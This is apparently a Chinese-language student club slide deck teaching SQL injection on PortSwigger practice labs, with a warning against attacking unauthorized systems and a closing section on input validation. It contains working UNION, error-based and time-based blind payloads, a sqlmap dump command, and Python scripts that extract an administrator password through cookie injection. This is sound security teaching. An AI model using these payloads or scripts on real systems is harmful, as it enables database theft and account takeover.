fallnight
資工三甲
113 屆 會長
女婕思
回憶 SQLi 課程
資料庫版本
Lab 0x1、0x2 + Bonus*2
Blind SQLi
Lab 0x3 ~ 0x7
今日課程僅針對 PortSwigger 平台提供的練習環境進行攻擊
請勿隨意對未經授權的系統進行攻擊,不要以身試法 !
or
找回密碼 QwQ
使用者
| 欄位1 | 欄位2 | 欄位3 |
| xxx | xxx | xxx |
| xxx | xxx | xxx |
| 欄位1 | 欄位2 | 欄位3 |
| xxx | xxx | xxx |
| xxx | xxx | xxx |
| 欄位1 | 欄位2 | 欄位3 |
| xxx | xxx | xxx |
| xxx | xxx | xxx |
| 欄位1 | 欄位2 | 欄位3 |
| xxx | xxx | xxx |
| xxx | xxx | xxx |
資料庫
資料表
存放的 "資料"
| name | account | password |
|---|---|---|
| Peter | abc123 | 12345 |
| Ivy | ivy789 | au4a83 |
| account | password |
|---|---|
| abc123 | 12345 |
Users :
常見類型
Retrieving Hidden Data (檢索隱藏資料)
Subverting Application Logic (影響應用程式邏輯)
UNION Attack (UNION 攻擊)
Examining The Database (檢查資料庫)
Blind SQL Injection (SQL 盲注入)
檢索隱藏資料
取得原本看不到的網站資料
ex. 查詢購物網站中 "未上架的商品"
影響應用程式邏輯
ex. 登入時,在帳號後方閉合單引號 ' 後加入註解 -- ,繞過密碼驗證,成功登入目標帳號
UNION 攻擊
透過 UNION 語法,讓資料庫執行額外的 SELECT 查詢語句
ex. 取得帳密 ' UNION SELECT username, password FROM users--
常見類型
Retrieving Hidden Data (檢索隱藏資料)
Subverting Application Logic (影響應用程式邏輯)
UNION Attack (UNION 攻擊)
Examining The Database (測試資料庫)
Blind SQL Injection (SQL 盲注入)
}今日主題 !
不同的 資料庫管理系統 (DBMS) 在語法上會有差異
在攻擊前,可以先檢查網站所使用的 DBMS 為何,排除語法問題導致的錯誤
常見關聯式資料庫管理系統有 Oracle、Microsoft SQL Server、PostgreSQL、MySQL
Relational Database Management System (RDBMS)
以 表格 的形式儲存資料
另有 非關聯式資料庫 (NoSQL),不限定為表格形式,ex. MongoDB, Redis 等
PortSwigger 官方有提供速查表
https://portswigger.net/web-security/sql-injection/cheat-sheet
使用 -- 的註解方式時,最好在後方加個空格後再隨便加個符號,避免註解失敗
ex. --+ 或 -- //
| DBMS | 查詢語法 |
|---|---|
| Oracle | SELECT banner FROM v$version |
| Microsoft (MS SQL) | SELECT @@version |
| PostgreSQL | SELECT version() |
| MySQL | SELECT @@version |
結合 UNION SELECT,讓網站印出自己的資料庫版本
看看該版本是否有已知的 CVE 漏洞可以利用
將版本查詢語法與 UNION SELECT 結合,讓網站印出版本資訊,即可解開這題 lab
隨便點擊一個搜尋詞條
發現網站上方的網址多了 GET 參數
?category=Accessories測試欄位數量 (p.s. 註解 -- 要確保後面有空格,否則可能會出錯,所以使用 --+
……直到沒有錯誤
在網址參數後方加入 Payload ,並送出新的網址
' UNION SELECT NULL--+' UNION SELECT NULL, NULL--+' UNION SELECT NULL, NULL, NULL--+URL encode
測試 是否只有一個欄位
回應錯誤,表示欄位數量不是 1
' UNION SELECT NULL--+測試 是否有兩個欄位
沒有出現錯誤,表示有兩個欄位
' UNION SELECT NULL, NULL--+結合 MySQL 的版本查詢語法
修改 UNION SELECT 的原始查詢語法
兩個欄位都是字串型態,在哪個欄位查詢都能成功
' UNION SELECT NULL, NULL--+SELECT @@version' UNION SELECT NULL, @@version--+' UNION SELECT @@version, NULL--+隨便點擊一個搜尋詞條
發現網站上方的網址多了 GET 參數
?category=Gifts在網址的參數後方加入 payload
依序測試資料表的欄位數量
Oracle 的 SELECT 必須使用 FROM 指定查詢的資料表
改用 ORDER BY
……直到發生錯誤
開始出錯 → 有兩個欄位
' ORDER BY 1--+
' ORDER BY 2--+
' ORDER BY 3--+' ORDER BY 3--+結合 Oracle 的版本查詢語法
修改 UNION SELECT 的原始查詢語法
兩個欄位都是字串型態,在哪個欄位查詢都能成功
' UNION SELECT NULL, NULL FROM v$version--+SELECT banner FROM v$version' UNION SELECT NULL, banner FROM v$version--+' UNION SELECT banner, NULL FROM v$version--+在 Oracle、MySQL、MS SQL 中,系統有預設「空表 (DUAL)」
SELECT * FROM DUAL查詢語法為 先找資料表名稱,再看資料表內容
Oracle
Microsoft SQL Server
PostgreSQL
MySQL
SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE NAME-HERE'SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'p.s. 語法內容來自 101 學姊的整理
先確認欄位數量 → 沒報錯 → 有兩欄
查詢這裡有什麼資料表名稱
' UNION SELECT table_name, NULL FROM information_schema.tables--+' UNION SELECT NULL, NULL--+出現很多資料表,一個個看帳密可能藏在哪
ex. 查看這個可疑資料表 users_fbfexu 有什麼樣的欄位名稱
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users_fbfexu'--+查看特定資料表中的特定欄位的內容
發現帳密! 登入後即可完成這題
' UNION SELECT username_qunpaq, password_cvitji FROM users_fbfexu--+確認有兩個欄位後
查看有什麼樣的資料表名稱
' UNION SELECT table_name, NULL FROM all_tables--+這次用 sqlmap 去找找看
打開 kali 的 終端機使用以下指令
URL 要換成 lab 的網址session=... 這裡的 … 需要換成自己的網站 session--dbms=Oracle 指定資料庫為 Oracle--dump 導出資料--exclude-sysdbs 自動跳過內建的多個系統資料表 (為Oracle 而用)--batch 在詢問 yes/no 時,自動選擇預設選項sqlmap -u "URL" --cookie="session=..." --dbms=Oracle --dump --exclude-sysdbs --batch等待 sqlmap 跑出結果...
最終拿到帳密!
SQLi → 資料庫會把資料整個印出來
Blind SQLi → 資料庫只會給反應,我們看不到資料內容,要去猜他查到的資料是什麼
SQLi
注入查詢後直接噴出帳密的查詢結果
Blind SQLi
注入後,不會直接顯示資料庫查詢結果
但會反應注入的查詢結果為 True / False
分為兩個類型 :
True → 網頁多出一行字(如:Welcome back!)
False → 網頁少了一行字
Time-based
False → 網頁照常,很快就加載完成
https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses
資料庫中有一個叫 "users" 的資料表,其中包含 "username" 與 "password" 欄位
找到 username 為 "administrator" 的密碼,並登入他的帳號
| 欄位1 | 欄位2 | 欄位3 |
| xxx | xxx | xxx |
| xxx | xxx | xxx |
| 欄位1 | 欄位2 | 欄位3 |
| xxx | xxx | xxx |
| xxx | xxx | xxx |
| 欄位1 | 欄位2 | 欄位3 |
| xxx | xxx | xxx |
| xxx | xxx | xxx |
| 欄位1 | 欄位2 | 欄位3 |
| xxx | xxx | xxx |
| xxx | xxx | xxx |
| username | password |
| administrator | od45f1 |
| wiener | as54d8 |
| carlos | f4d6s2 |
資料庫
資料表
紀錄的 "資料"
修改 Cookie 中 TrackingId 的值,在這邊注入攻擊
可以猜測後端處理 Cookie 中的 TrackingId 值的語法為 :
簡單在 TrackingId 值的後方加個 單引號 '
' → 造成語法錯誤,預期它會出錯--+SELECT * FROM tracking_table WHERE tracking_id = 'TrackingId的值'Payload 注入的位置
SELECT * FROM tracking_table WHERE tracking_id = 'TrackingId的值''注入後的 Payload
SELECT * FROM tracking_table WHERE tracking_id = 'TrackingId的值'--+'注入後的 Payload
原本的 ' 被擠到外面了
''--+SELECT 查詢,最終讓我們知道密碼是什麼直接加上 SELECT ?
WHERE 後方沒辦法接一個獨立的 SELECT 查詢語句
會因為 語法錯誤 而沒看到 "Welcome back!" → 不代表這個資料不存在
用 AND 就可以額外加上一個 SELECT 查詢,並進行條件式判斷,得到 True / False 兩種結果
注入的 Payload
SELECT * FROM tracking_table WHERE tracking_id = 'TrackingId的值' SELECT password FROM users WHERE username='administrator'--+'原有的查詢語句
AND 後,能不能顯示 True / False 兩種結果
AND 前面的條件式因為有查到 TrackingId 的值,所以會是 TrueAND 後方條件為 TrueTrackingId=XXX
AND 後方條件為 False,網頁不會顯示 "Welcome back!"
' AND '1'='2'--+' AND '1'='1'--+SELECT * FROM tracking_table WHERE tracking_id = 'TrackingId的值'Payload 注入的位置
SELECT * FROM tracking_table WHERE tracking_id = 'TrackingId的值' AND '1'='1'--+'注入後的 Payload
SELECT * FROM tracking_table WHERE tracking_id = 'TrackingId的值' AND '1'='2'--+'AND 後方條件為 True 時,網頁會顯示 "Welcome back!"' AND '1'='1'--+AND 後方條件為 False,"Welcome back!" 消失' AND '1'='2'--+AND 可以用之後,加入 SELECT 查詢語句' AND (SELECT '1' FROM users WHERE username='administrator')='1'--+' AND (SELECT LENGTH(password) FROM users WHERE username='administrator')>5--+測試密碼長度
Payload :
SELCECT 密碼長度
原本 (SELECT 1) 的 '1' = '1' 條件式,改成 密碼長度 是否大於 5
先簡單挑個誇張的數字,測試 Payload 會出現 True / False 兩種結果,再開始找密碼長度
長度 > 50 → "Welcome back!" 沒有出現 → 實際密碼長度不大於 50
' AND (SELECT LENGTH(password) FROM users WHERE username='administrator')>5--+修改這裡
' AND (SELECT LENGTH(password) FROM users WHERE username='administrator')=20--+' AND (SELECT LENGTH(password) FROM users WHERE username='administrator')>1--§ 前後包起來
SELECT SUBSTRING(password, 3, 1)
SUBSTRING(欄位名稱, 起始位置, 長度)WHERE username='administrator'
為查詢加上條件' AND (SELECT SUBSTRING(password,3,1) FROM users WHERE username='administrator') > 'm'--+| username | password |
| administrator | od45f1 |
| wiener | as54d8 |
| carlos | f4d6s2 |
> 'm'
AND
'
閉合前面的 TrackingId--+
' AND (SELECT SUBSTRING(password,3,1) FROM users WHERE username='administrator') > 'm'--+
' AND (SELECT SUBSTRING(password,3,1) FROM users WHERE username='administrator') > 'm'--+修改這裡
' AND (SELECT SUBSTRING(password,3,1) FROM users WHERE username='administrator') > 'm'--+}得知第一位密碼是 c !
修改這裡
' AND (SELECT SUBSTRING(password,3,1) FROM users WHERE username='administrator') = 'm'--+Burp Suite 會依序替換這裡的字元
手動替換密碼位數
0
1
2
3
4
5
6
7
8
9
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') = 'a'--+Payload 2
依序替換字元
Payload 1
依序替換密碼位數
0
1
2
3
4
5
6
7
8
9
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z初始上限: 122
初始下限: 48
初始上限: 122
初始下限: 48
中間值: 85
初始上限: 122
初始下限: 48
新範圍
86 ~ 122
新範圍
48 ~ 85
import requests
# 這裡 xxx 要替換成當前 Lab 的真實網址與 Cookie 值 (每個人都不一樣,每次跑 lab 都需要修改)
url = "https://xxx.web-security-academy.net/"
tracking_id = "xxx"
session_id = "xxx"
password_length = 20
password = ""
for i in range(1, password_length + 1):
# lab 的提示有說密碼是由數字 (0-9) 與小寫字母 (a-z) 組成
# 以 ASCII 計算二分法
# 最小是 '0' -> 48,最大是 'z' -> 122
low = 48
high = 122
# 開始二分法的迴圈
while low < high:
mid = (low + high) // 2 # 取中間值
mid_char = chr(mid) # 將 ASCII 數字轉回字元
# 這裡的查詢語法是在確認正確密碼的這位字元是否大於 mid_char?
payload = f"{tracking_id}' AND (SELECT SUBSTRING(password,{i},1) FROM users WHERE username='administrator') > '{mid_char}"
# cookies 由 session 與 TrackingId 組成
cookies = {
'TrackingId': payload,
'session': session_id
}
# 發送帶有完整 cookie 的請求
try:
response = requests.get(url, cookies=cookies)
except requests.exceptions.RequestException as e:
print(f"連線錯誤: {e}")
break
# 透過回應修改二分法的範圍
if "Welcome back!" in response.text:
# 如果回應內容中帶有 "Welcome back!"
# 表示正確密碼的這位字元「大於」中間值,所以提高下限
low = mid + 1
else:
# 沒有 "Welcome back!" 表示正確密碼的這位字元「小於或等於」中間值,所以降低上限
high = mid
# 當 while 迴圈結束時,low 會等於 high,也就是正確密碼的這位字元的 ASCII
found_char = chr(low) # 將 ASCII 數字轉回字元
password += found_char # 加入最終密碼的字串
print(f"已找到第 {i} 位密碼為: {found_char}")
# 正確密碼的 20 位都已找到
print(f"\n最終完整密碼為: {password}")
不論查詢成功與否都不會在網站上有任何顯示
透過強制讓後端觸發邏輯錯誤、產生錯誤訊息,來推斷資訊、提取資料
提取詳細錯誤資訊 → Lab 0x4
觸發條件式錯誤 → Lab 0x5
提取詳細錯誤資訊
直接從錯誤資訊中取得敏感資料
透過特定的 資料庫函數 或 語法錯誤
將想要得到的敏感資訊作為參數傳入這些函數中
讓網站自己藉由錯誤訊息,印出敏感資訊
如果網站沒有妥善處理異常,這些包含敏感數據的錯誤訊息就會直接顯示
https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based
會發現網站直接在錯誤訊息印出了完整的查詢語句
可以透過這個方式得知 DBMS 的資訊、逐步修改 Payload,並直接拿到密碼
測試注入點
'後方加上註解,就沒有錯誤了
後端執行的 SQL 語句是 :
加上單引號
原有的單引號多出來了 → 導致錯誤
加上註解
注入的單引號閉合前面的 TracingId
原有的單引號被註解掉 → 不造成影響
SELECT * FROM tracking WHERE id = 'TrackingId的值'SELECT * FROM tracking WHERE id = 'TrackingId的值''SELECT * FROM tracking WHERE id = 'TrackingId的值'--'原有的 '
注入的 '
確認能否接上布林運算,方便未來改成惡意查詢
利用 AND 連接額外的查詢
確認這樣是否會報錯
AND 兩邊皆為 True,不會產生語法錯誤AND 加上查詢語句 → ' AND (SELECT 1)=1--+SELECT 查詢回來的是字串,無法與 True/False 進行 AND 運算,而導致報錯' AND (SELECT username FROM users)--+CAST() 轉換型態,加入 Payload 中 :' AND CAST((SELECT username FROM users) AS int)--+=1
結果一定是布林值 (True / False),滿足 AND 的語法' AND CAST((SELECT username FROM users) AS int)=1--+LIMIT 1 限制查詢只返回一筆結果CAST()時,不知道怎麼強制把字串轉換成整數而報錯' AND CAST((SELECT username FROM users LIMIT 1) AS int)=1--+' AND CAST((SELECT password FROM users LIMIT 1) AS int)=1--+如果因為網頁回應錯誤而找不到登入的地方
把 TrackingId 的值全部刪掉,或只刪 Payload ,或把 Payload 改成註解
讓頁面不要報錯就能在右上角前往登入頁面
觸發條件式錯誤
不論查詢結果如何,其回應內容都是 "伺服器錯誤 500"
DBMS 遇到無法處理的錯誤,將錯誤訊息傳給後端伺服器
伺服器在應對預期外的回覆時 :
開發者可以提前設定,引導前端跳出自訂的 404 錯誤提示,或者回傳至別的正常的網頁
若開發者沒有做任何處理,前端語言會依照預設的錯誤機制,回應 Internal Server Error 500
無法直接從錯誤訊息拿到密碼
透過設定條件,只有注入條件為真,才會觸發 DBMS 錯誤 ; 若條件為假,網頁會正常顯示
觀察網頁如何回應,慢慢修改 Payload
CASE WHEN ... THEN ... ELSE ... END
當 條件為真 時,就執行 ... ,否則執行 ...
LENGTH() 找密碼長度
SUBSTRING() 找每一位密碼
測試注入點
在原有的 TrackingId 值後方加上單引號 '
出現伺服器錯誤
'--+
發現沒有出現錯誤了確定可以透過錯誤回應進行攻擊確認能否利用 AND 連接額外的查詢
理論上不會出錯
送出後遇到 "伺服器錯誤",但明明應該要正確?
可能是 DBMS 的語法問題
Oracle 在使用 SELECT 時,必須加上 FROM 指定查詢的資料表
Oracle、MySQL、MS SQL 有預設的「空表 (DUAL)」
為 Payload 加上 FROM DUAL
網頁正常回應
' AND (SELECT 1)=1--+' AND (SELECT 1 FROM DUAL)=1--+設定條件語句
利用 CASE WHEN ... THEN ... ELSE ... END
WHEN 1=1 是 True,會執行 THEN 1/0
1/0 在數學上屬於未定義,程式因無法計算而報錯
出現了伺服器錯誤
改成 WHEN 1=2 是 False,會執行 ELSE 1
沒有出現錯誤
1=1 ,條件正確,沒有出現錯誤
' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 1 END FROM DUAL)=1--+' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 1 END FROM DUAL)=1--+確認 users 資料表和 administrator 使用者是否存在
將 FROM DUAL 查詢空表,改成查詢 users 資料表
加上 WHERE 指定查詢 username 欄位為 administrator 的資料
網頁報錯了
→ users 資料表和 administrator 使用者確實存在' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 1 END FROM users WHERE username='administrator')=1--+測試密碼長度
修改 WHEN 的條件式,從這裡反覆修改數字,判斷密碼長度
利用 LENGTH() 查詢實際密碼長度
先簡單挑個誇張的數字,測試 Payload 沒有問題,再用腳本找密碼位數
長度 > 1 → 網頁出現錯誤 → 實際密碼長度大於 1
長度 > 50 → 沒有出現錯誤 → 實際密碼長度不大於 50
' AND (SELECT CASE WHEN (LENGTH(password)>1) THEN 1/0 ELSE 1 END FROM users WHERE username='administrator')=1--+' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 1 END FROM users WHERE username='administrator')=1--+import requests
# 這裡 xxx 要替換成當前 Lab 的真實網址與 Cookie 值 (每個人都不一樣,每次跑 lab 都需要修改)
url = "https://xxx.web-security-academy.net/"
tracking_id = "xxx"
session_id = "xxx"
# 設定猜測範圍
low = 1
high = 50
# 開始二分法的迴圈
while low < high:
mid = (low + high) // 2 # 取中間值
# 這裡的查詢語法是在確認正確密碼的長度是否大於 mid?
payload = f"{tracking_id}' AND (SELECT CASE WHEN (LENGTH(password)>{mid}) THEN 1/0 ELSE 1 END FROM users WHERE username='administrator')=1--+"
# cookies 由 session 與 TrackingId 組成
cookies = {
'TrackingId': payload,
'session': session_id
}
# 發送帶有完整 cookie 的請求
try:
response = requests.get(url, cookies=cookies)
except requests.exceptions.RequestException as e:
print(f"連線錯誤: {e}")
break
# 透過回應修改二分法的範圍
if response.status_code == 200:
# 網頁可以正常顯示,回應狀態碼為 200
# 表示正確密碼長度「小於或等於」中間值,所以降低上限
high = mid
else:
# 回應狀態碼不是 200 就表示回應錯誤
# 表示正確密碼長度「大於」中間值,所以提高下限
low = mid + 1
# 當 while 迴圈結束時,low 會等於 high,也就是正確的密碼長度
password_lenth = low
print(f"密碼長度為: {password_lenth}")
透過 response.status_code 得知回應狀態碼是什麼
不是 200 就代表回應錯誤,WHEN 條件正確 ; 200 就表示回應正確,WHEN 條件錯誤
確認實際密碼內容
使用 SUBSTR() 一個個找每一位密碼是什麼
Oracle 的 SUBSTRING() 語法是 SUBSTR()
一樣先簡單測試 Payload 沒問題,再用腳本找完整密碼
隨意替換 密碼位數 、 猜測的字元 或者 >, =, <
有出現正確、錯誤兩種不同的回應就表示 Payload 沒問題
' AND (SELECT CASE WHEN (SUBSTR(password,3,1)>'m') THEN 1/0 ELSE 1 END FROM users WHERE username='administrator')=1--+import requests
# 這裡 xxx 要替換成當前 Lab 的真實網址與 Cookie 值 (每個人都不一樣,每次跑 lab 都需要修改)
url = "https://xxx.web-security-academy.net/"
tracking_id = "xxx"
session_id = "xxx"
password_length = 20
password = ""
for i in range(1, password_length + 1):
# lab 的提示有說密碼是由數字 (0-9) 與小寫字母 (a-z) 組成
# 以 ASCII 計算二分法
# 最小是 '0' -> 48,最大是 'z' -> 122
low = 48
high = 122
# 開始二分法的迴圈
while low < high:
mid = (low + high) // 2 # 取中間值
mid_char = chr(mid) # 將 ASCII 數字轉回字元
# 這裡的查詢語法是在確認正確密碼的這位字元是否大於 mid_char?
payload = f"{tracking_id}' AND (SELECT CASE WHEN (SUBSTR(password,{i},1)>'{mid_char}') THEN 1/0 ELSE 1 END FROM users WHERE username='administrator')=1--+"
# cookies 由 session 與 TrackingId 組成
cookies = {
'TrackingId': payload,
'session': session_id
}
# 發送帶有完整 cookie 的請求
try:
response = requests.get(url, cookies=cookies)
except requests.exceptions.RequestException as e:
print(f"連線錯誤: {e}")
break
# 透過回應修改二分法的範圍
if response.status_code == 200:
# 網頁可以正常顯示,回應狀態碼為 200
# 表示正確密碼的這位字元「小於或等於」中間值,所以降低上限
high = mid
else:
# 只要不是回應 200 就代表回應錯誤
# 表示正確密碼的這位字元「大於」中間值,所以提高下限
low = mid + 1
# 當 while 迴圈結束時,low 會等於 high,也就是正確密碼的這位字元的 ASCII
found_char = chr(low) # 將 ASCII 數字轉回字元
password += found_char # 加入最終密碼的字串
print(f"已找到第 {i} 位密碼為: {found_char}")
# 正確密碼的 20 位都已找到
print(f"\n最終完整密碼為: {password}")
如果因為網頁回應錯誤而找不到登入的地方
把 TrackingId 的值全部刪掉,或只刪 Payload ,或把 Payload 改成註解
讓頁面不要報錯就能在右上角前往登入頁面
Time-based
網頁不會有任何回應,不論注入正確與否都是顯示正常的頁面
Lab 0x6 → 如何注入時間延遲
Lab 0x7 → 透過時間延遲找密碼
一樣確認哪一個 DBMS 的串接 + 延遲會被觸發 → PostgreSQL
這題要拿密碼 → 需要注入條件式反覆測試密碼為何
速查表有 Conditional time delays 的 Payload
確認 PostgreSQL 的 Payload 會正常運作
; 結束前面的語句,堆疊新的查詢
如果 WHEN 的條件為 True ,觸發延遲 ; 反之正常回應
WHEN 後面要放結果為 True 的條件式 → 才能觸發 THEN pg_sleep(10)
TrackingId=xxx
1=2 結果為 False ,觸發 ELSE pg_sleep(0)沒有延遲
'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--+'; SELECT CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END--+ ELSE pg_sleep(0),網頁不會有延遲'; SELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--+ WHERE 也可以'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator'--+已知 username='administrator' 為 True回應結果會由 LENGTH(password)=1 的結果決定'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)=1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--+替換這裡
記得 ctrl+U
進行 URL 編碼
SUBSTRING(),而不是 SUBSTR()
'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--+= 要換成 大於 >'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)>'a') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users--+import requests
import time
# 這裡 xxx 要替換成當前 Lab 的真實網址與 Cookie 值 (每個人都不一樣,每次跑 lab 都需要修改)
url = "https://xxx.web-security-academy.net/"
tracking_id = "xxx"
session_id = "xxx"
password_length = 20
password = ""
threshold = 4 # 秒,超過這個秒數就表示 pg_sleep(5) 被觸發
for i in range(1, password_length + 1):
# lab 的提示有說密碼是由數字 (0-9) 與小寫字母 (a-z) 組成
# 以 ASCII 計算二分法
# 最小是 '0' -> 48,最大是 'z' -> 122
low = 48
high = 122
# 開始二分法的迴圈
while low < high:
mid = (low + high) // 2 # 取中間值
mid_char = chr(mid) # 將 ASCII 數字轉回字元
# 這裡的查詢語法是在確認正確密碼的這位字元是否大於 mid_char?
# 若大於 -> 觸發 pg_sleep(5) 拖慢 5 秒;若不大於 -> pg_sleep(0) 立刻回應
payload = f"{tracking_id}'%3b+SELECT+CASE+WHEN+(username%3d'administrator'+AND+SUBSTRING(password,{i},1)%3E'{mid_char}')+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users--%2b"
# cookies 由 session 與 TrackingId 組成
cookies = {
'TrackingId': payload,
'session': session_id
}
# 計時,用於判斷回應時間
# 發送請求前後各記錄一次時間,相減就是實際耗時
start = time.time()
try:
# timeout 設 8 秒,讓程式在 pg_sleep(5) 觸發時,也能等待完整回應
response = requests.get(url, cookies=cookies, timeout=8)
except requests.exceptions.RequestException as e:
print(f"連線錯誤: {e}")
break
elapsed = time.time() - start
# 透過回應時間修改二分法的範圍
if elapsed > threshold:
# 回應時間長 = 延遲被觸發 = 條件為真 = 字元確實大於 mid_char
# 所以下限提高到 mid + 1
low = mid + 1
else:
# 回應時間短 = 條件為假 = 字元小於或等於 mid_char
# 所以上限降到 mid
high = mid
# 當 while 迴圈結束時,low 會等於 high,也就是正確密碼的這位字元的 ASCII
found_char = chr(low) # 將 ASCII 數字轉回字元
password += found_char # 加入最終密碼的字串
print(f"已找到第 {i} 位密碼為: {found_char}")
# 正確密碼的所有位都已找到
print(f"\n最終完整密碼為: {password}")'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)>1) THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users--+import requests
import time
# 這裡 xxx 要替換成當前 Lab 的真實網址與 Cookie 值 (每個人都不一樣,每次跑 lab 都需要修改)
url = "https://xxx.web-security-academy.net/"
tracking_id = "xxx"
session_id = "xxx"
# 假設密碼長度介於 1 到 40 之間,用二分法去縮小範圍
low = 1
high = 40
threshold = 5 # 秒,超過這個秒數就表示 pg_sleep(5) 被觸發
while low < high:
mid = (low + high) // 2
# 這裡的查詢語法是在確認密碼長度是否大於 mid?
# 若大於 -> 觸發 pg_sleep(5) 拖慢 5 秒;若不大於 -> pg_sleep(0) 立刻回應
payload = f"{tracking_id}'%3b+SELECT+CASE+WHEN+(username%3d'administrator'+AND+LENGTH(password)%3E{mid})+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users--%2b"
cookies = {
'TrackingId': payload,
'session': session_id
}
# 計時:發送請求前後各記錄一次時間,相減就是實際耗時
start = time.time()
try:
# timeout 設 8 秒,讓程式在 pg_sleep(5) 觸發時,也能等待完整回應
response = requests.get(url, cookies=cookies, timeout=8)
except requests.exceptions.RequestException as e:
print(f"連線錯誤: {e}")
break
elapsed = time.time() - start
print(f"測試密碼長度是否大於 >{mid}? 回應時間: {elapsed:.2f}s")
# 透過回應時間修改二分法的範圍
if elapsed > threshold:
# 回應時間長 = sleep 被觸發 = 條件為真 = 長度確實大於 mid
# 所以下限提高到 mid + 1
low = mid + 1
else:
# 回應時間短 = 條件為假 = 長度小於或等於 mid
# 所以上限降到 mid
high = mid
# 當 while 迴圈結束時,low 會等於 high,也就是實際的密碼長度
print(f"\n密碼長度為: {low}")資料來源: 101學姊的 SQLi 簡報+ https://www.neway.com.tw/article-detail/SQL-injection/
長度與格式校驗
限制字串的最大長度、使用正則表達式等機制,確保輸入內容符合預期格式
型別檢查
對於預期為數字的輸入,先驗證它確實是數字型別,或嘗試轉換型別後再使用
特殊字元過濾或轉義
過濾或轉義在 SQL 中具有特殊意義的字元
ex. 單引號 ' 、雙引號 " 、分號 ; 、連接符號 -- 等
轉義 (Escape) : 在特殊字元前加上反斜線等標記,使其失去作為指令的功能而僅被視為普通符號
2024年10月:美國國防部 (DoD) 系統出現「時間型」盲注漏洞
事件經過:
在漏洞回報平台 HackerOne 上,一名白帽駭客通報了美國國防部旗下網站的一個參數(sortBy)存在 Time-based Blind SQLi
造成危害:
駭客在報告中示範,透過注入 WAITFOR DELAY 的時間延遲腳本,他能根據網頁伺服器晚了 5 秒或 10 秒才回應的現象,逐字猜出國防部資料庫的名稱、資料表以及內部紀錄
此報告隨後被美國國防部驗證並緊急修復,避免了可能的機密外洩問題
101 學姊的 SQL Injection 課程簡報 與 Blind SQLi 整理
飛飛的 SQL Injection (SQLi) 基礎教學與自建 LAB 靶機
PortSwigger
感謝前輩們的付出 🛐